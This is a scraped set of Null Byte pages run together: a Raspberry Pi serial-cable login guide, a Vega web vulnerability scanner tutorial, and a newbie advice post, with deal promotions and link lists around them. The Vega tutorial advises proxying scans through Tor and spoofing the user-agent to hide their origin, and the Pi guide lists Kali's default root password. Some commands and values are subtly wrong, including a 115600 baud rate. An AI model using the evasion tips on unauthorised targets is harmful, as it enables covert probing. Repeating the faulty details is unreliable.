on sale for $39.99.12. The 2020 Java Bootcamp BundleThere's a reason why Java remains incredibly popular to this day. Programs made with Java can run on pretty much any computer, making it incredibly versatile. With this bundle, you can develop solid expertise in the leading programming language and create actual programs with 10 hours of content on fundamentals, collections, and classes.Usually $990, it's on sale for $35.99.13. The 2020 Premium Ethical Hacking Certification BundleNull Byte'sfavorite ethical hacking courseis a little bit more pricy than the other classes on this list, but it's well worth the investment. There are over 60 hours of training from ethical hacking professionals, touching on topics such as pentesting with OWASP, WordPress hacking, server security, and penetration testing. There are even a few important classes on beefing up your skills for popular CompTIA certifications.Become a White Hat Today for 90% Off:The 2020 Premium Ethical Hacking Certification Bundle for $149Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMonsit Jangariyawong/123RFRelatedNews:The Best Black Friday 2018 Deals on Smartphone CasesNews:The Best Black Friday 2017 Deals on Portable Chargers for Your SmartphoneNews:The Best Black Friday 2017 Deals on Wireless Chargers for Your SmartphoneNews:The Best Black Friday 2017 Deals on iPhone X AccessoriesNews:This Is the Only iPhone X Black Friday 2017 Deal We've FoundNews:Apple AirPods Deals for Black Friday Going on Right Now & Coming UpNews:Walmart's Best Black Friday Deals on HeadphonesHow To:Breeze Through Black Friday with These Helpful Deal-Finding Apps and WebsitesNews:The Best Black Friday 2018 Deals on Headphones for Your SmartphoneNews:The Best Black Friday 2017 Deals for Smartphone CasesNews:The Best Black Friday 2017 Speaker Deals for Your SmartphoneNews:Black Friday Deals on Smart TVs & Streaming Devices That Work with Apple TV+How To:All the Best Black Friday Electronics & Gadget Deals of 2013News:The Best Black Friday 2018 Deals on Wireless Chargers for Your PhoneBlack Friday Deals:Smart HDTVs from $125, Tablets from $35, Speakers 55% Off, & MoreNews:Save Big on iPhones This Black Friday at WalmartNews:We've Found the Best Black Friday 2017 Deals on Phones & Accessories So You Don't Have ToNews:The Best Black Friday 2017 Deals on Headphones for Your SmartphoneNews:The Best Black Friday 2018 Deals on iPhonesNews:The Best Black Friday 2017 Deals on VR Headsets for Your SmartphoneNews:Amazon's Best Black Friday Tech Deals 2016—TVs, Phones & TabletsGrab It Fast:2nd Generation AirPods with Wireless Charging Case Drop to Lowest Price Since Black FridayHow To:Expand Your Coding Skill Set with This 10-Course Training BundleNews:The Best Black Friday 2018 Deals on Android PhonesNews:The Best Black Friday 2017 Deals on iPhone AccessoriesHack Like a Pro:How to Get Facebook Credentials Without Hacking FacebookHow To:Use beEF (Browser Exploitation Framework)News:The Best Black Friday 2017 Deals for iPhonesNews:Score a New iPhone for Cheap with These Black Friday Deals from Walmart, Best Buy & MoreNews:This Is the Only iPhone X Cyber Week 2017 Deal We've FoundNews:The Best Black Friday 2017 Deals on SmartwatchesNews:Amazon's Best Black Friday Deals on HeadphonesHow To:Shop on Black Friday with ease and within your budgetHow To:Apply Makeup for a Rebecca Black 'Friday' CostumeNews:And the Winner of the Tuesday Giveaway Minecraft Challenge Is...Community Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsContest:Potassium Nitrate CrystalsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking Simulations
How to Log into Your Raspberry Pi Using a USB-to-TTL Serial Cable « Null Byte :: WonderHowTo
Connecting to yourheadless Raspberry Pion the go typically requires a network connection or carrying around bulky peripheral hardware like a screen and keyboard. With the help of an old-school connecting standard, though, you can log into your Pi from any computer using a simple cable. If you don't have a power source, you can also power your Linux distro over the cable at the same time.If you have ever used an older computer or printer, you might rememberthose standard RS-232 serial connectors, but there are more current and commonly known interfaces like Ethernet, FireWire, and USB that can connect to a machine's console for diagnostic purposes. We'll be using a USB-to-TTL serial cable, which is much smaller and lighter than the serial cables of old.While you most likely know what USB is, TTL meanstransistor-transistor logic, a digital logic solution to process and interpret information. This serial connection is a legacy hardware connector that has been used for decades.Serial communication takes place over a serial cable and is a linear form of transferring data. That means it sends data bit-by-bit via a communication port like USB. It is a straightforward way to communicate, featuring both a transmitter and receiver, and is also one of the most simple ways to communicate with a device.While you'll have to connect to your Raspberry Pi running a Linux distro the normal way initially to enable this USB-to-TTL feature, subsequent logins can be done using just your USB-to-TTL serial cable.Don't Miss:How to Set Up a Practice Computer to Kill on a Raspberry Pi 3The Components for This GuideARaspberry Pi 3, although the Pi 2 and original Pi should also work. You can do this to the Pi Zero and Pi Zero W as well, although you'll need to pick up somemale header pinsto solder onto the Pi Zero boards.AMicro-SD cardwith a Linux distro on it (likeour Kali Linux Raspberry Pi build).AUSB-to-TTL serial cableto connect your Kali Pi to.Finally, alaptopor computer with an open USB port to communicate with the Pi through the cable.If you choose tograb a serial cable from Adafruitor get stuck during our guide, Adafruit's website also has a goodwalkthrough on using serial cables.Now, depending on the operating system running on your Pi and the operating system running on your laptop or computer, there are a few more tasks we need to take care of first before connecting. Let's start with the Raspberry Pi.Step 1: Installing Prerequisites on Your PiRaspbian is the default operating system for the Raspberry Pi, and Raspbian has a Pi module calledraspi-configwhich can help us easily enable the necessary setting we need. This module allows you to enter an almost BIOS-type configuration menu to configure different parts of the Pi's hardware.Don't Miss:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootFirst, go ahead and connect to your Raspberry Pi running your Linux distro the way you normally would, either via SSH or with a keyboard, monitor, and mouse. Raspi-config is not installed on all distributions of Linux, so on Debian-based systems like Kali, you will want to open up a terminal and install it by typing the following.git clonehttps://github.com/snubbegbg/install_raspi-configNext,cdto change directories by typing the following.cd install_raspi-configFinally, we'll install raspi-config and all the dependencies by running this final command.sudo sh install.shNow, we'll be able to access this BIOS-like menu to modify the GPIO pin settings.Step 2: Enabling the Connection on Your PiWhen you have satisfied these requirements, boot up your Raspberry Pi with Kali again, however you normally use it, then enable the connection on it byopening a terminal as rootand typing:raspi-configNow aRaspberry Pi Software Configuration Toolwill open up a new terminal. We can scroll down with the arrow keys and select option 9 called "Advanced Options."Once we are in the advanced options, scroll down using the arrow keys to "A7 Serial" and pressenter. It will prompt you with "Would you like a login shell to be accessible over serial?" Go ahead and select "Yes." After you select that option, it will confirm "The Serial interface is enabled."The program will send you back to the main menu automatically, and you can go ahead and tap down and select the "Finish" option. After selecting it, the program will ask you if you want to reboot. Go ahead and say "Yes" to reboot your Pi and apply the changes.Step 3: Installing Prerequisites on Your ComputerNow that our Pi has the needed software, we will need to set up some software on the computer we will be plugging the USB end of the cable into.In this demonstration, we will use PuTTY, an SSH, Telnet, and serial communication client that works on Windows, macOS, and Linux that will allow us to make the connection. You candownload and install PuTTYfor your operating system from the project's website, but we'll be using it here for Windows.We'll also be showing how to use a program calledScreenif you're running Linux. If Screen is not included in your distribution of Linux, you can open up a terminal window and typeapt-get install screen.Don't Miss:How to Turn Your Raspberry Pi into a Wireless HotspotThe computer we are connecting to the Pi with will also need some USB drivers for us to properly use the serial connection cable. You can download the necessary drivers for your host operating system from the list below. If you're a Linux user and have recently updated your system, the driver should already be installed.USB drivers for WindowsUSB drivers for macOSStep 4: Connecting to Your Pi's GPIO PinsNext, we will move to the physical aspects of this setup. Make sure that your Pi is not powered on and has the Micro-SD card inserted. Break out your serial cable and connect the following cables to the appropriate pins using the diagram below. If you need a more detailed view, you cancheck out an interactive pin diagram.Connect the white cable to GPIO pin 8.The white cable will be our transmission (TXD) communication.Connect the green cable to GPIO pin 10.This is our receiving (RXD) communication.Connect the black cable to GPIO pin 6.This is just a ground cable to ensure that if a sudden electrical surge happens, none of the electronic components on the Pi are fried.Connect the red cable to GPIO pin 4.This one is optional and will provide 5 volts of power and communication from just the serial cable itself. It's important not to power the Pi with the Micro-USB power cable while the 5-volt pin on the GPIO is also powering the Pi at the same time.A diagram of the GPIO pin layout of the Raspberry Pi.Image by Tux-Man/Wikimedia CommonsDon't Miss:How to Create a Wireless Spy Camera Using a Raspberry PiRemember, if you use all the USB ports on the Raspberry Pi with the 5-volt line connected, depending on what you plug into the USB ports, you may get power fluctuations on the Pi. You can see how everything is supposed to look in the image below.Don't Miss:Turn Any Phone into a Hacking Super Weapon with the SonicStep 5: Starting the ConnectionNow that all of that is finished, both our computer and Raspberry Pi are ready to talk to each other! Go ahead and connect your Raspberry Pi to your computer with the USB-to-TTL serial cable.Method 1: Using WindowsIf you're using a Windows device, we want to open up "Device Manager," then drop-down the "Ports" tab, and look for what port number Windows have assigned our USB. In the screenshot below, Windows assigned my Raspberry Pi COM3.Don't Miss:Use a Raspberry Pi as a Dead Drop for Anonymous Offline CommunicationNext, we open up PuTTY on Windows, press the "Serial" radio button, then type in whatever COM number windows gave you. Change theSpeedfield to115600. We want to change the speed because the USB platform needs more bits to be transmitted when we enable the connection.After that is done, go to the bottom right and press "Open" and a terminal window will open asking for the username and password for the Pi if the connection is successful. You may have to hitenterif you initially see nothing. If you haven't changed it, the login in Kali is "root" and "toor" as default.Method 2: Using LinuxOn your Linux device, plug in your Pi with the USB-to-TTL serial cable, and after it has had time to boot, open up a terminal window. As for connecting to your Pi on Linux, it will be almost the same as on Windows, but when searching for the USB, we want to typels /dev/and look for something similar tottyUSBx.Whatever number is at the end of the output should be the USB-to-TTL serial cable identifier for the Pi.If you got a different number at the end of ttyUSB, make sure to swap that out in the following command, and hitreturnto connect to the Pi.sudo screen /dev/ttyUSB0 115600A new terminal window will pop open, again asking for your username and password for the Pi. Go ahead and attempt to log in.Image by Kody/Null-ByteSuccess! If it works, you should see your Pi's message of the day (MOTD) screen to confirm you've logged in. Your MOTD screen may be less customized than mine.Don't Miss:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxOne Cable to Rule Them AllWith just a single cable, we are now able to both power and log in to our Pi quickly and conveniently from anywhere we want. All of this is possible without the burden of constantly carrying peripheral devices to accompany the Pi, giving you more freedom to deploy your Kali Linux environment.If you're not using your cable to control your Pi, this TTL cable is also great for hacking Wi-Fi routers to install DD-WRT or other custom operating systems — or almost any 3.3-volt logic serial port you want to interface with.If you have any questions, you can leave a comment here or send a message on Twitter at@Nitroux2. And make sure to stay connected and check out our social media accounts!Don't Miss:How to Set Up Kali Linux on the New $10 Raspberry Pi Zero WFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Nitrous/Null ByteRelatedHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Build a Portable Pen-Testing Pi BoxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Modify the USB Rubber Ducky with Custom FirmwareOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017News:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensRaspberry Pi:Hacking PlatformHow To:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Create a Wireless Spy Camera Using a Raspberry PiNews:This Guy Built an Impressive Smart Mirror Controlled by Gestures & Voice
How to Scan Websites for Potential Vulnerabilities Using the Vega Vulnerability Scanner in Kali Linux « Null Byte :: WonderHowTo
Withstanding an attack from a motivated hacker is one of the most important responsibilities a system administrator must undertake. This is especially true for websites that may contain sensitive customer information and a high volume of users. So it's important for a sysadmin to take proactive measures to find and fix vulnerabilities in their websites.One tool that can help with this isVega Vulnerability Scanner, a free, open-source, graphical web-auditing tool developed by the security companySubgraph. This tool contains several interesting features, such as aproxy scanner, but we'll be focusing on the automated security testing aspect that can help us find and validate SQL injection, cross-site scripting (XSS), inadvertently disclosed sensitive information, and many other vulnerabilities.There are similar web application scanners to Vega.Portswigger's Burp Suite ScannerandNetsparker's Security Scannerboth ofter premium vulnerability scanners, but Vega's scanner can perform many of the same tasks at no cost. Vega's scanner makes finding and understanding the severity of web application vulnerabilities simple by clearly and concisely displaying useful resources with every scan.Don't Miss:Detect Vulnerabilities in a Web Application with UniscanStep 1: Install VegaThe Vega Vulnerability Scanner used to come preinstalled on older versions ofKali Linux, but if you're on a newer OS version, you'll likely need to install it. But there's a way to check real quick. First, make sure your packages are all up to date with:~$ sudo apt update && sudo apt upgrade Hit:1 http://kali.download/kali kali-rolling InRelease Reading package lists... Done Building dependency tree Reading state information... Done 7 packages can be upgraded. Run 'apt list --upgradable' to see them. Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following package was automatically installed and is no longer required: libexo-1-0 Use 'sudo apt autoremove' to remove it. The following packages have been kept back: crackmapexec libpython2-stdlib php-common python2 python2-minimal python3-pandas python3-pandas-lib 0 upgraded, 0 newly installed, 0 to remove and 7 not upgraded.Now, check to see if you have Vega installed already with:~$ sudo install vegaIf you get an error, there are a few steps you can take to try and remedy it (seethe comments on a previous version of this article), but it's easier to use the following process to prevent any hiccups.To install Vega, you'll need to download the Vega file and unzip it. But first, to make sure you don't get any further errors, configure dpkg. Then, we need to install some dependencies and tools. Vega needs WebKit 1.0, or it won't install; Java is also needed; and unzip will unzip the Vega file that'll be downloaded.~$ sudo dpkg --configure -a ~$ sudo apt install libwebkitgtk-1.0-0 default-jdk unzip Reading package lists... Done Building dependency tree Reading state information... Done default-jdk is already the newest version (2:1.11-72). unzip is already the newest version (6.0-25). libwebkitgtk-1.0-0 is already the newest version (2.4.11-3). 0 upgraded, 0 newly installed, 0 to remove and 34 not upgraded.If you get an error installing libwebkitgtk-1.0-0, try adding the following line to your /etc/apt/sources.list file with nano or another editor, then try installing libwebkitgtk-1.0-0 again after a quicksudo apt update.deb http://cz.archive.ubuntu.com/ubuntu bionic main universeNow, if everything installed correctly, head toSubgraph's website, the maker of Vega, to get the download link for the correct version of Vega that you need. Don't download it here — copy the link. If you need the 64-bit Linux version, you can use the link in the next command below.subgraph.com/vega/downloadNow, usewgetto install the zip file on your system. You can firstcdinto the folder that you want the download to be saved if you want.~$ wget https://support.subgraph.com/downloads/VegaBuild-linux.gtk.x86_64.zip --2020-11-25 11:20:33-- https://support.subgraph.com/downloads/VegaBuild-linux.gtk.x86_64.zip Resolving support.subgraph.com (support.subgraph.com)... 185.26.124.87 Connecting to support.subgraph.com (support.subgraph.com)|185.26.124.87|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 28680291 (27M) [application/zip] Saving to: ‘VegaBuild-linux.gtk.x86_64.zip’ VegaBuild-linux.gt 100%[===============>] 27.35M 8.93MB/s in 3.1s 2020-11-25 11:20:37 (8.93 MB/s) - ‘VegaBuild-linux.gtk.x86_64.zip’ saved [28680291/28680291]Then, to see what the zip file is called, do a listing withlsto copy the file's name.~$ ls '>' CHANGELOG.md DeadManSwitch Desktop Documents Downloads 'e-ng(8)' ExtAnalysis ffuf ffuf_1.1.0_linux_amd64.tar.gz LICENSE 'manual page was written by David Francos Cuartero. Permis‐' Music Pictures Public pycharm-community-2020.2.3 pycharm-community-2020.2.3.tar.gz PycharmProjects README.md sparrow-wifi spiderfoot Templates VegaBuild-linux.gtk.x86_64.zip VideosThen unarchive it with theunziputility we installed.~$ unzip VegaBuild-linux.gtk.x86_64.zip Archive: VegaBuild-linux.gtk.x86_64.zip creating: vega/ creating: vega/plugins/ inflating: vega/plugins/com.google.guava_14.0.1.jar inflating: vega/plugins/org.jsoup_1.7.3.SNAPSHOT.jar [...] inflating: vega/xml/alerts/vpii-cc.xml inflating: vega/xml/alerts/vpii-ssnsin-sin.xml inflating: vega/xml/alerts/vpii-ssnsin-ssn.xml inflating: vega/xml/alerts/vvcs-users.xml inflating: vega/xml/alerts/xs-script-include.xmlAnd that's it for installing Vega on your Kali or other Linux system. However, for Vega to open successfully later, you may need to switch what version of Java you're using. If you think you're already running Java 8 in manual mode, you don't need to do this. If you're not sure, use this to switch to Java 8 in manual mode since newer Java versions won't work with Vega:~$ sudo update-alternatives --config java There are 2 choices for the alternative java (providing /usr/bin/java). Selection Path Priority Status ------------------------------------------------------------ * 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 auto mode 1 /usr/lib/jvm/java-11-openjdk-amd64/bin/java 1111 manual mode 2 /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081 manual mode Press <enter> to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java to provide /usr/bin/java (java) in manual modeStep 2: Start VegaInprevious versions of Kalithat had Vega preinstalled, you could go to Applications –> Web Application Analysis —> Vega. But now,cdinto the Vega folder, then do anlsof it.~$ cd vega ~/vega$ ls about_files features plugins Vega xml about.html icon.xpm scripts Vega.ini configuration libcairo-swt.so templates Vega.pngThe tool we need in there to start Vega is "Vega," so start it with:~/vega$ sudo ./VegaIf it worked, great, you should see Vega's start screen before Vega opens all the way. If it didn't, make sure you're using the right Java version as described in Step 1.Step 3: Configure VegaAfter starting an application for the first time, I like to view the available preferences and options. In the top-left corner, click on the "Window" menu, then view the "Preferences," which I'll walk you through in the next two sections.Proxy Vega HTTP Requests (Optional)If you prefer to anonymize your Vega scans and proxy all connections, check the "Enable SOCKS proxy" option under "General," and enter a proxy address and port. If you're usingTor, enter the default Tor address and port (127.0.0.1:9050), which should be auto-populated already. This will help conceal the origin of your scans. Otherwise, if you're using a free or premium proxy service, choose the address and port you prefer.Don't Miss:Fully Anonymize Kali with Tor, Whonix & PIA VPNUse Tor's User-Agent (Optional)If you decide to proxy Vega scans over Tor, you may also consider changing Vega's user-agent to the Tor Browser user-agent. This will help you access some (but not all) websites that block Tor HTTP requests.To modify the Vega user-agent, click on the "Scanner" category and enter the Tor Browser user-agent next to "User-Agent." Then click "Apply" and "OK" to save the changes. Below is the current Tor Browser user-agent as of November 2020.Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0The Tor Browser user-agent will change with every major Tor Browser update. To find the latest user-agent, you used to be able to go toabout:configin the Tor Browser and double-click ongeneral.useragent.override. But that option has been gone since Firefox 71. Instead, open a Tor tab, and ask "What's my user agent" in the search bar, and it should tell you if you're using DuckDuckGo.Moderate HTTP Requests (Optional)Another thing in the "Scanner" menu you may want to modify is the "Maximum number of requests per second to send" option. By default, the software is set to 25 requests per second.Depending on the scenario, this might be too many or too few requests per second. Assuming you have permission to scan a website with Vega, ten requests per second is probably a good place to start. With sites you own, 100 requests per second might be more appropriate. It's entirely up to you.You won't notice much increase in processing power using more requests per second, so it's safe to set that number to something high. Don't worry; Vega isn't aDDoStool. Your internet bandwidth and the bandwidth of the website will automatically throttle the requests.Don't Miss:How to Find Vulnerabilities for Any Website Using NiktoThat's about it forVega's preferences. TheListenersettings in "Proxy" are preferences unrelated to the scanner. The "Debug" preferences in theScannersection are there for Vega developers.Step 4: Scan a Website with VegaNow that we have Vega installed and configured, we're now ready to start scanning a website. To start scanning, use theControl-Nshortcut, click the Start New Scan icon in the top left, or click on "Scan" in the menu bar and choose "Start New Scan." Vega will prompt us with theSelect a Scan Targetwindow. Enter your target URL into the box under "Scan Target," then hit "Next."Vega has dozens of modules designed to find a wide range of common web server vulnerabilities such as SQL, XSS, and XML injection vulnerabilities. If you want to enable all of the scanner modules, make sure "Injection Modules" is checked. If not, expand "Injection Modules" and select the ones you want, and deselect the ones you don't.You could click "Next" a few times to adjustAuthentication OptionsorParameters, but we don't need to. So instead, click "Finish" to start scanning the website.Don't Miss:Scan Websites for Vulnerabilities Using an Android PhoneA scan can take anywhere from two minutes to eight hours to complete depending on the website's size and the requests per second we set earlier in the article. You'll know the scan has started when the website appears in theScan Alertstab and alerts begin to propagate. When the scan is done running, you'll get a report detailing any vulnerabilities found.Step 5: Interpret Vega's AlertsWhen the scan is complete, Vega will clearly and concisely display a summary of the alerts.If Vega reports a "High" alert, don't panic. Vega's modules are sensitive and sometimes produce false positive alerts for vulnerabilities that may not actually exist. False positives aren't necessarily a bad thing. That being said, it's a good idea to comb through the report and manually investigate each alert. Think of these alerts as areas worth further investigating and not definitive indications that something needs to be fixed.Vega does a fantastic job explaining what each alert means, their impact on our websites, and ways to remedy the vulnerabilities. It also includes useful references that may help us better understand how to deal with the vulnerabilities.Clicking on one of the alerts will display tons of useful information.Vega Can Help Keep Your Website SecureVega is an excellent tool to help security researchers better understand web application penetration testing. Its vast selection of modules allows even novice users to dig deep into potential security risks and assess their severity to websites. Anyone interested in improving their website's security and enhancing their web hacking skills will come to love Vega and its ease of use.Follow me on Twitter@tokyoneon_andGitHubto see more of my work. And feel free to leave a comment below or message me on Twitter if you have any questions.Don't Miss:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNegative Space/Pexels; Screenshots by tokyoneon/Null ByteRelatedHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Detect Vulnerabilities in a Web Application with UniscanAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Perform a Large-Scale Network Security Audit with OpenVAS's GSAHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Anti-Virus in Kali LinuxHow To:Scan for Vulnerabilities on Any Website Using NiktoHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Audit Web Applications & Servers with TishnaHow To:13 QR Code Scanners That Won't Send You to Malicious Webpages on Your iPhoneHow To:Scan Websites for Vulnerabilities with ArachniHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Use Dorkbot for Automated Vulnerability DiscoveryHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerHack Like a Pro:Hacking the Heartbleed VulnerabilityHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Hack WPA WiFi Passwords by Cracking the WPS PINHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow To:Exploit Routers on an Unrooted Android PhoneHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHack Like a Pro:How to Hack the Shellshock VulnerabilityHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHow To:Hack Apache Tomcat via Malicious WAR File UploadHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreNews:Best Hacking SoftwareIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Scan for Viruses in Windows Using a Linux Live CD/USBForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal Logins
A Hackers Advice & Tip: Choosing Your Path. Knowing Where to Learn & How to Learn It **Newbies Please Read** « Null Byte :: WonderHowTo
This article is to all the newbies on here wanting to become a hacker. Since I have seen many newbie questions on here, I need to address this.Thank You:First thank you for wanting to become a hacker, it is not an easy path.Becoming a hacker, at least in the way that I see it, is that its a fairly 'easy' path, meaning that you have all the tools to get started. Think about it. You have it right in front of you, you just need touse it.You got thetools, websites, software and even tutorials, this is the easy part of becoming a hacker, the hard part is you will have to figure out how to use it. Yes, I am sorry but you can't just call a support center and say"hi I want to learn how to hack this gmail account". I have seen these type of questions a lot lately on here.So moving onWhy Do You Want to Become a Hacker?Please ask yourself this, because that is what I did. It will help you a lot knowing where to learn and what to learn, and therefore not asking unnecessary questions.Is it because of the growth in the IT-industry, or the paychecks or just because you've got a passion for this?This will help you knowing what type ofdirectionyou are to move in, because there are several types of hackers as many say, and if you dont know yours, how can we help you?Regardless you should know this.Doing Proper Re-SearchIf you want to become a white hat, you are in the right place, because here you have all the tools and tutorials needed, trust me you do.If you want to becomeblack hatim afraid you are in the wrong place.Right now, there are thousands of tutorials on the web, and you have to invest your time into this job. Yes think of it as a job, if you want, thats what I do, it makes me work hard every day.You will be spending lots of time searching and I not only encourage you to re-search but I alsoChallenge YOUto re-searchYeah, that was probably a little tough to read, but its the truth.Next:Please don't ask very, and I mean very easy and broad questions such as, "how do I hack?" or "how can I hack this account?" We cannot help you on those questions, for several reasons, and let me point them out so you know why next time.There are many ways of cracking an account, so you need to find out which one is most fit for you and your situation.This is a white hat community, so questions particularly aimed towards cracking accounts might be considered malicious intent to some of us, and we do not support this.It is a question you can figure out yourself, since there are many ways of hacking things, there are even more tutorials on them so go hunting, trust me.What Can You Find on Null Byte?Here you will mainly find tutorials and sometimes also news related articles, anything else is on the World Wide Web. So questions such ashow do I hackare usually not to find here, because its a very broad question, and I have actually seen this Q recently.That is what you can find here, and I personally know this because I have looked through every tutorial from some of the people on here who have been here the longest, so I mean this when i say it,you need to invest your time or you wont succeedThe Conclusion:So the key things you need to possess in becoming a hacker areChallenge yourself to do some re-search first, because the answer is out there.Know what type of hacker you are, and thereby you'll know where to look.Ask with a little bit of respect, because lately I think we need more of it here.I Hope This Helped You Realizing Becoming a Hacker Is Not Easy, and Is a Tough Task, but if You Are Up for It, It Will Be Amazing.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Why Newbies Deserve RespectNews:How to Study for the White Hat Hacker Associate Certification (CWA)TypoGuy Explaining Anonymity:Choosing a Good VPNDon't Be a Script-Kiddie part1:Introduction to Shell ScriptHow To:Post to Null Byte [4.10.15 Revision]News:'Turkish Crime Family' Demands $75,000 in Bitcoin from Apple in Exchange for Hacked iPhone AccountsNews:Inklewriter Lets You Write and Share Your Own 'Choose Your Own Adventure' BooksBudget Astronomy:Resources for Making Your Own EquipmentNews:More Jackass on MOVIESHow To:The Budget Traveller Guide to Sleeping in Airports.Chill Out & Get Enlightened:A Newbie's Guide to MeditationNews:VARIOUS WINDOWS ISSUES RESOLVED BELOW...News:WINDOWS 7 (FIX TWEAK, REPAIR, CONJOIN SHELLS ETC...)How To:Remove Gamers Unite from your Facebook AccountHow To:Secure Your Computer with Norton DNSHow To:log on Windows 7 with username & passwordNews:Etsy Wiki for Newbie SellersNews:RubyRa1n Coming outNews:Crafting BuildingsWTFotos of the Day:8 Awful Photoshops of CelebritiesHow To:Shoot Clouds Like a ProHow To:Free Balloon Animal Tutorial Videos OnlineHow To:Hack Mac OS X Lion PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingNews:Human TyreRead Dead Review Part 2:Structure and EndingNews:Homework & Syllabus
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files) « Null Byte :: WonderHowTo
